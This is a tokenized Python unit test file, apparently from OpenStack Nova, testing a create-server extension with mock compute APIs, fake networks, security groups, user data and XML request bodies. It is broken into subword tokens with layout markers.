"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DUPL", "ICAT", "E", "\\u", "NET", "WORKS", "_", "=_", "[_", "(_", "'", "aaaaaaaa", "-", "aaa", "a", "-", "aaa", "a", "-", "aaa", "a", "-", "aaaaaaaa", "aaa", "a", "'_", ",_", "'", "10.", "0.", "1.1", "2", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "aaaaaaaa", "-", "aaa", "a", "-", "aaa", "a", "-", "aaa", "a", "-", "aaaaaaaa", "aaa", "a", "'_", ",_", "'", "10.", "0.", "1.1", "2", "'_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "INVALID", "\\u", "NET", "WORKS", "_", "=_", "[_", "(_", "'", "invalid", "'_", ",_", "'", "invalid", "-", "ip", "-", "address", "'_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "INSTANCE", "_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "id", "\"_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "display", "\\u", "name", "\"_", ":_", "\"", "test\\u", "server", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "uuid", "\"_", ":_", "FAKE", "\\u", "UUID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "created", "\\u", "at", "\"_", ":_", "datetime_", "._", "datetime_", "(_", "2010_", ",_", "10_", ",_", "10_", ",_", "12_", ",_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "d\\u", "at", "\"_", ":_", "datetime_", "._", "datetime_", "(_", "2010_", ",_", "11_", ",_", "11_", ",_", "11_", ",_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "security", "\\u", "group", "s", "\"_", ":_", "[_", "{_", "\"", "id", "\"_", ":_", "1_", ",_", "\"", "name", "\"_", ":_", "\"", "test", "\"_", "}_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "return", "\\u", "server", "\\u", "by", "\\u", "id_", "(_", "context_", ",_", "id_", ",_", "session_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "INSTANCE", "_", "[_", "'", "id", "'_", "]_", "=_", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "INSTANCE", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "return", "\\u", "security", "\\u", "group", "\\u", "non", "\\u", "existing_", "(_", "context_", ",_", "project", "\\u", "id_", ",_", "group", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exception_", "._", "Secur", "it", "y", "Group", "Not", "Foun", "d", "For", "Project_", "(_", "project", "\\u", "id_", "=_", "project", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "security", "\\u", "group", "\\u", "id_", "=_", "group", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "return", "\\u", "security", "\\u", "group", "\\u", "get", "\\u", "by", "\\u", "name_", "(_", "context_", ",_", "project", "\\u", "id_", ",_", "group", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "'", "id", "'_", ":_", "1_", ",_", "'", "name", "'_", ":_", "group", "\\u", "name_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "return", "\\u", "security", "\\u", "group", "\\u", "get_", "(_", "context_", ",_", "security", "\\u", "group", "\\u", "id_", ",_", "session_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "'", "id", "'_", ":_", "security", "\\u", "group", "\\u", "id_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "return", "\\u", "instance", "\\u", "add", "\\u", "security", "\\u", "group_", "(_", "context_", ",_", "instance", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "security", "\\u", "group", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Creat", "ese", "rver", "ext", "Test_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Creat", "ese", "rver", "ext", "Test_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "setup", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Moc", "k", "Compute", "API_", "(_", "nova_", "._", "compute_", "._", "API_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "injected", "\\u", "files_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "networks_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user", "\\u", "data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "db_", "=_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "injected", "\\u", "files", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "injected", "\\u", "files_", "=_", "kwargs_", "[_", "'", "injected", "\\u", "files", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "injected", "\\u", "files_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "request", "ed", "\\u", "network", "s", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "networks_", "=_", "kwargs_", "[_", "'", "request", "ed", "\\u", "network", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "networks_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "user", "\\u", "data", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "user", "\\u", "data_", "=_", "kwargs_", "[_", "'", "user", "\\u", "data", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "{_", "'", "id", "'_", ":_", "'", "1234", "'_", ",_", "'", "display", "\\u", "name", "'_", ":_", "'", "fake", "instance", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "uuid", "'_", ":_", "FAKE", "\\u", "UUID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "id", "'_", ":_", "'", "fake", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "\\u", "id", "'_", ":_", "'", "fake", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "\"\"_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "admin", "\\u", "password_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "stub", "\\u", "method_", "(_", "cann", "ed", "\\u", "return_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "stub", "\\u", "method_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cann", "ed", "\\u", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "stub", "\\u", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "compute", "\\u", "api_", "=_", "Moc", "k", "Compute", "API_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stubs_", "._", "Set_", "(_", "nova_", "._", "compute_", ",_", "'", "API", "'_", ",_", "make", "\\u", "stub", "\\u", "method_", "(_", "compute", "\\u", "api_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stubs_", "._", "Set_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "nova_", "._", "api_", "._", "openstack_", "._", "create", "\\u", "instance", "\\u", "helper_", "._", "Creat", "e", "Insta", "nce", "Helper_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "get", "\\u", "kernel", "\\u", "ramdisk", "\\u", "from", "\\u", "image", "'_", ",_", "make", "\\u", "stub", "\\u", "method_", "(_", "(_", "1_", ",_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "compute", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "security", "\\u", "group", "\\u", "request", "\\u", "dict_", "(_", "self_", ",_", "security", "\\u", "groups_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "name", "'_", "]_", "=_", "'", "new", "-", "server", "-", "test", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "image", "Ref", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "flavor", "Ref", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "security", "\\u", "groups_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sg", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "security", "\\u", "groups_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sg", "\\u", "list_", "._", "append_", "(_", "{_", "'", "name", "'_", ":_", "name_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "[_", "'", "security", "\\u", "group", "s", "'_", "]_", "=_", "sg", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "{_", "'", "server", "'_", ":_", "server_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "network", "s", "\\u", "request", "\\u", "dict_", "(_", "self_", ",_", "networks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "name", "'_", "]_", "=_", "'", "new", "-", "server", "-", "test", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "image", "Ref", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "flavor", "Ref", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "networks_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "uuid_", ",_", "fixed", "\\u", "ip_", "in_", "networks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "list_", "._", "append_", "(_", "{_", "'", "uuid", "'_", ":_", "uuid_", ",_", "'", "fixed", "\\u", "ip", "'_", ":_", "fixed", "\\u", "ip_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "[_", "'", "network", "s", "'_", "]_", "=_", "network", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "{_", "'", "server", "'_", ":_", "server_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "user", "\\u", "data\\u", "request", "\\u", "dict_", "(_", "self_", ",_", "user", "\\u", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "name", "'_", "]_", "=_", "'", "new", "-", "server", "-", "test", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "image", "Ref", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "flavor", "Ref", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "[_", "'", "user", "\\u", "data", "'_", "]_", "=_", "user", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "'", "server", "'_", ":_", "server_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "json_", "(_", "self_", ",_", "body", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "webob_", "._", "Request_", "._", "blank_", "(_", "'/", "v1", ".1", "/", "123", "/", "os", "-", "create", "-", "server", "-", "ext", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "headers_", "[_", "'", "Conten", "t", "-", "Type", "'_", "]_", "=_", "'", "applica", "tion", "/", "json", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "method_", "=_", "'", "POST", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "body_", "=_", "json_", "._", "dumps_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "req_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "run", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "compute", "\\u", "api_", "=_", "self_", "._", "\\u", "setup", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "request_", "._", "get", "\\u", "response_", "(_", "fakes_", "._", "wsgi", "\\u", "app_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "compute", "\\u", "api_", ",_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "format\\u", "xml", "\\u", "request", "\\u", "body_", "(_", "self_", ",_", "body", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "=_", "body", "\\u", "dict_", "[_", "'", "server", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "parts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "parts_", "._", "extend_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "encoding", "=\"", "UT", "F", "-", "8", "\"?", ">'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "server", " ", "xml", "ns", "=\"", "http", "://", "docs", ".", "racks", "pace", "cloud", ".", "com", "/", "server", "s", "/", "api", "/", "v1", ".1", "\"'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "name", "=\"", "%", "s", "\"", " ", "image", "Ref", "=\"", "%", "s", "\"", " ", "flavor", "Ref", "=\"", "%", "s", "\">'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "server_", "[_", "'", "name", "'_", "]_", ",_", "server_", "[_", "'", "image", "Ref", "'_", "]_", ",_", "server_", "[_", "'", "flavor", "Ref", "'_", "]_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "metadata", "'_", "in_", "server_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "metadata_", "=_", "server_", "[_", "'", "metadata", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "metadata", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "metadata_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "meta", " ", "key", "=\"", "%", "s", "\">", "%", "s", "</", "meta", ">'_", "%_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "/", "metadata", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "personality", "'_", "in_", "server_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "personali", "ties_", "=_", "server_", "[_", "'", "personality", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "personality", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "file_", "in_", "personali", "ties_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "item_", "=_", "(_", "file_", "[_", "'", "path", "'_", "]_", ",_", "file_", "[_", "'", "content", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "file", " ", "path", "=\"", "%", "s", "\">", "%", "s", "</", "file", ">'_", "%_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "/", "personality", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 